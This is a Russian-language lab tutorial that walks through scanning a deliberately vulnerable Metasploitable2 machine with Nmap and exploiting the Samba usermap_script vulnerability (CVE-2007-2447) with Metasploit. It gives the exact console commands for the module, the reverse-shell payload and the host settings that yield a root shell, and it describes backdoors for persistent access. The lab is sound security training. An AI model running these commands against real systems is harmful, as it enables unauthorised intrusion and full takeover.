Проведение тестирования на проникновение с помощью Nmap и Metasploit

NmapBeginner
Практиковаться сейчас

Введение

В этом практическом занятии (лабораторной работе) вы узнаете о базовом процессе пентестинга (проверки на проникновение) и выполните практическую атаку с использованием Kali Linux. Цель состоит в том, чтобы получить удаленный доступ к оболочке (remote shell) уязвимой целевой системы, эксплуатируя известную уязвимость Samba. Эта лабораторная работа дает возможность понять этапы, участвующие в реальном сценарии пентестинга, и потренироваться в использовании популярных инструментов безопасности, таких как Nmap и Metasploit.

Настройте лабораторную среду

Проверка на проникновение (пентестинг) обычно включает следующие этапы:

  1. Сбор информации: Сбор максимально возможного количества информации о целевой системе, включая сетевую информацию, содержимое веб - сайтов, структуру каталогов, потенциальные имена пользователей, открытые порты, сервисы, доменные имена и поддомены. Для этого можно использовать различные инструменты.

  2. Сканирование на уязвимости: Использование сканирующих инструментов для комплексного сканирования целевой системы с целью выявления уязвимостей. Существуют автоматические сканирующие инструменты, а также можно использовать ручные инструменты для целевого сканирования конкретных сервисов.

  3. Эксплуатация: После выявления эксплуатируемых уязвимостей использование соответствующих инструментов и методов для получения более высокого уровня доступа или привилегий на целевой системе. Это может включать удаленное выполнение кода, атаки с использованием инъекций или другие методы.

  4. Поддержание доступа: Создание бэкдора или механизма постоянного доступа на целевой системе для облегчения будущих доступов с одновременным избеганием обнаружения.

  5. Составление отчета: Анализ полученных результатов и создание отчета, в котором детально описываются выявленные уязвимости и шаги, предпринятые в процессе проверки на проникновение. Этот отчет может помочь целевой организации эффективно защитить свои системы.

В целом, после понимания основных этапов, участвующих в проверке на проникновение, пришло время перейти от теории к практике. С помощью практических упражнений мы можем применить полученные знания и навыки для получения практического опыта в области пентестинга.

Сначала вам нужно настроить лабораторную среду для практики сценария проверки на проникновение.

Лабораторная среда состоит из двух систем:

  1. Контейнер Kali Linux (машина - атакующий): Это Docker - контейнер, на котором запущена операционная система Kali Linux, которая будет использоваться для выполнения атаки.

  2. Виртуальная машина Metasploitable2 (целевая машина): Это уязвимый сервер на основе Ubuntu, который выступает в роли целевой системы.

Для настройки среды выполните следующие шаги:

  1. Запустите целевую машину Metasploitable2:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте доступность целевой машины с помощью команды ping (для выхода используйте Ctrl+C):
ping 192.168.122.102
  1. Запустите контейнер Kali Linux и войдите в оболочку Bash:
docker run -ti --network host b5b709a49cd5 bash
  1. Проверьте сетевое соединение из контейнера Kali, отправив ping - запрос на целевую машину (для выхода используйте Ctrl+C):
ping 192.168.122.102

Теперь и машина - атакующий, и целевая машина должны быть запущены и доступны. Вы готовы начать процесс проверки на проникновение.

Выполните сканирование на уязвимости

На этом этапе вы будете использовать инструмент Nmap в Kali Linux для сканирования целевой системы на предмет открытых портов и запущенных сервисов.

  1. Выполните следующую команду Nmap для выполнения комплексного сканирования и сохранения результатов в файл /tmp/report.txt в Docker - контейнере. Завершение сканирования может занять несколько минут:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Вот что означают флаги в этой команде:

  • -p 1-65535: Сканирование всех портов
  • -T4: Установка шаблона времени (большее значение означает более быстрый скан)
  • -A: Включение определения операционной системы и версии сервисов
  • -v: Увеличение уровня детализации вывода
  • >/tmp/report.txt: Перенаправление вывода в файл
  1. Подождите, пока сканирование завершится (это может занять несколько минут).

  2. Проанализируйте отчет о сканировании, открыв файл /tmp/report.txt с помощью команды cat:

cat /tmp/report.txt

В отчете будут перечислены открытые порты, запущенные сервисы и их версии на целевой системе.

  1. Определите любые потенциальные уязвимости, связанные с сервисами и версиями, обнаруженными в процессе сканирования.

В данном случае мы сосредоточимся на службе Samba, которая имеет известную уязвимость для удаленного выполнения команд (CVE - 2007 - 2447) в версии, установленной на системе Metasploitable2. Вот детали уязвимости для удаленного выполнения команд в службе Samba USERNAME MAP SCRIPT (CVE - 2007 - 2447):

  • CVE: CVE-2007-2447
  • Подверженные версиям: Samba 3.0.0 - 3.0.25rc3
  • Описание уязвимости: Уязвимость заключается в способе обработки параметра конфигурации username map script в Samba. Когда этот параметр включен, Samba не корректно очищает пользовательский ввод перед передачей его в оболочку /bin/sh, что позволяет удаленным злоумышленникам выполнять произвольные команды от имени пользователя Samba.

Официальное описание уязвимости Samba можно найти по адресу: http://samba.org/samba/security/CVE-2007-2447.html

Модуль эксплойта Metasploit, который мы будем использовать для эксплуатации этой уязвимости, - exploit/multi/samba/usermap_script. Исходный код и комментарии для этого модуля можно найти по адресу: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Используйте уязвимость с помощью Metasploit

На этом этапе вы будете использовать фреймворк Metasploit для эксплуатации уязвимости Samba USERNAME MAP SCRIPT и получения удаленного доступа к оболочке (remote shell) на целевой системе.

  1. Запустите консоль Metasploit:
cd ~
msfconsole
  1. Загрузите модуль эксплойта для Samba в консоли Metasploit:
use exploit/multi/samba/usermap_script
  1. Установите полезную нагрузку (payload) в cmd/unix/reverse в консоли Metasploit:
set payload cmd/unix/reverse
  1. Настройте IP - адрес и порт цели в консоли Metasploit:
set RHOST 192.168.122.102
set RPORT 445
  1. Установите локальный IP - адрес для обратной оболочки (reverse shell) в консоли Metasploit:
set LHOST 192.168.122.1
  1. Проверьте настройки в консоли Metasploit:
show options
  1. Выполните эксплойт в консоли Metasploit:
exploit

Если эксплойт выполнен успешно, вы должны получить сеанс удаленной оболочки от имени пользователя root на целевой системе.

  1. После завершения тестирования вы можете выйти из оболочки, нажав Ctrl + C и введя exit, чтобы вернуться в контейнер Kali.

Резюме

В этой лабораторной работе вы узнали о базовом процессе проверки на проникновение (пентестинга) и получили практический опыт выполнения реального сценария атаки. Вы настроили лабораторную среду с уязвимой целевой системой, провели сканирование на уязвимости с использованием Nmap, проанализировали известную уязвимость Samba и эксплуатировали ее с помощью фреймворка Metasploit для получения удаленного доступа к оболочке (remote shell). Этот практический опыт поможет вам лучше понять методы и инструменты, используемые в пентестинге, а также важность безопасной конфигурации систем и управления уязвимостями.